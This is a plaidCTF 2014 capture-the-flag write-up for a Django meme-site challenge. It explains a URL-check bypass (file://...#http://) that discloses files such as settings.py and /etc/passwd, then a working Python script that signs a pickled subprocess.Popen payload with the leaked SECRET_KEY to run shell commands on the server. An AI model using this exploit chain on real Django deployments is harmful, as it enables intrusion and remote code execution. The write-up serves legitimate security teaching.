plaidCTF 2014 - reeekeeeeee (web200)
reeekeeeeee
Web (200 pts)
-------------
The Plague seems obsessed with internet memes, though we don't
yet know why. Perhaps there is a clue to what he's up to on this
server (epilepsy warning). If only you could break in....
Here is some of the source.
Meme Site
To start, we grabbed the source and checked out what the site did. It seemed to be a fairly simple django-based webapp for creating user-based ‘memes’. All of the interesting source for the site is inside mymeme/views.py
.
After a quick audit of the source, two areas stood out. The first was the actual “meme” retrieval view viewmeme
.
@login_required(login_url='/login')
def viewmeme(request,meme=None):
print meme
username = str(request.user)
if meme is not None:
filename = "/tmp/memes/"+username+"/"+str(meme)
ctype = str(imghdr.what(filename))
return HttpResponse(open(filename).read(),content_type="image/"+ctype)
else:
return render(request,"view.html",{'files':sorted(os.listdir("/tmp/memes/"+username), key=lambda x:os.path.getctime(bp+x) )})
return HttpResponse("view"+username)
If we can control username either during signup or through manipulation of session variables, we have a trivial local-file-disclosure by path transversal. As it turns out, this code was not vulnerable: meme
is captured by a regex \d+
in urls.py
, meaning we can only inject digits into meme
. username
also seems to be properly sanitized. During registration, username
is checked for the substrings ‘..’ and ‘/’, which should prevent path transversal.
Arbitrary File Disclosure
The second potential weakness we noted was the makememe
view. This view fetches an attacker-controlled image URL url
, then attempts to overlay attacker-controlled text onto the image.
@login_required(login_url='/login')
def makememe(request):
username = str(request.user)
if request.method == 'POST':
url = request.POST['url']
text = request.POST['text']
try:
if "http://" in url:
image = urllib2.urlopen(url)
else:
image = urllib2.urlopen("http://"+url)
except:
return HttpResponse("Error: couldn't get to that URL"+BACK)
if int(image.headers["Content-Length"]) > 1024*1024:
return HttpResponse("File too large")
fn = get_next_file(username)
print fn
open(fn,"w").write(image.read())
add_text(fn,imghdr.what(fn),text)
return render(request,"make.html",{'files':os.listdir("/tmp/memes/"+username)})
The view attempts to sanitize/normalize the URL by checking for the presence of http://
within the url
variable. Fortunately for us, this sanitization is broken: if we can include the string http://
somewhere unimportant in the URL, we can use other URI types that urllib2 can handle, such as file://
.
After a bit of testing, we found that URLs of the form file://<ABSOLUTE PATH>#http://
passed the sanitization and would successfully copy the target file to the /tmp/memes/<username>/
directory. The subsequent add_text
call would throw an exception if the file wasn’t a parseable image, but we already had the file-of-interest in the accessible directory.
This issue gave us a simple arbitrary file disclosure vulnerability: we just create a meme with that URL schema, then fetch it through the viewmeme
view. So, what to disclose? We tried guessing a few flag file names, and grabbed the contents of /etc/passwd
, /proc/self/cmdline
and /home/reekee/.bashrc
, but none had any clues as to where we could find the flag. So I guess further exploitation is needed.
Command Execution
At this point we took a look at the django settings.py
file. settings.py
contains global and site-specific settings about the webapp. Right away, we noticed something very interesting, so interesting that the plaidCTF organizers even marked it with a comment for us!
#HMMMMM
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
The SESSION_SERIALIZER
line means that the django session is serialized with the python pickle
schema. As an attacker, this is great because we can easily turn a pickle-deserialization into system command execution. We can do this by deserializing a subprocess.Popen
object with the desired command parameters.
The SESSION_ENGINE
line means that the django session cookie is signed with an MAC to prevent forgery. This MAC is keyed by a key derived from SECRET_KEY
which is also stored in settings.py
. With the arbitary-file-disclosure detailed above, we can fetch settings.py
by providing the following URL to the makememe
view:
file:///proc/self/cwd/mymeme/settings.py#http://
This gets us the real SECRET_KEY
:
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'
With the SECRET_KEY
, all we need to do is create and sign a pickled command, and then pass it as a cookie to the website. The following python does this:
import urllib2
SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'
salt = "django.contrib.sessions.backends.signed_cookies"
import django.core.signing
import pickle
class PickleSerializer(object):
"""
Simple wrapper around pickle to be used in signing.dumps and
signing.loads.
"""
def dumps(self, obj):
return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)
def loads(self, data):
return pickle.loads(data)
import subprocess
import base64
class Command(object):
def __reduce__(self):
return (subprocess.Popen, (('SHELL COMMAND GOES HERE',),-1,None,None,None,None,None,False, True))
out_cookie= django.core.signing.dumps(
Command(), key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'sessionid=%s'%out_cookie))
f = opener.open("http://54.82.251.203:8000/make")
print f.read()
Victory
With the above script, we used ls -alR /home/reekee
to find the flag. There was an executable give_me_the_flag.exe
in the reekee homedir, and we ran it using the command:
cd /home/reekee; /home/reekee/give_me_the_flag.exe > /tmp/xqcafz3
Using the arbitrary file disclosure detailed above to read the resulting tmpfile, we got the flag, which we promptly forgot to write down.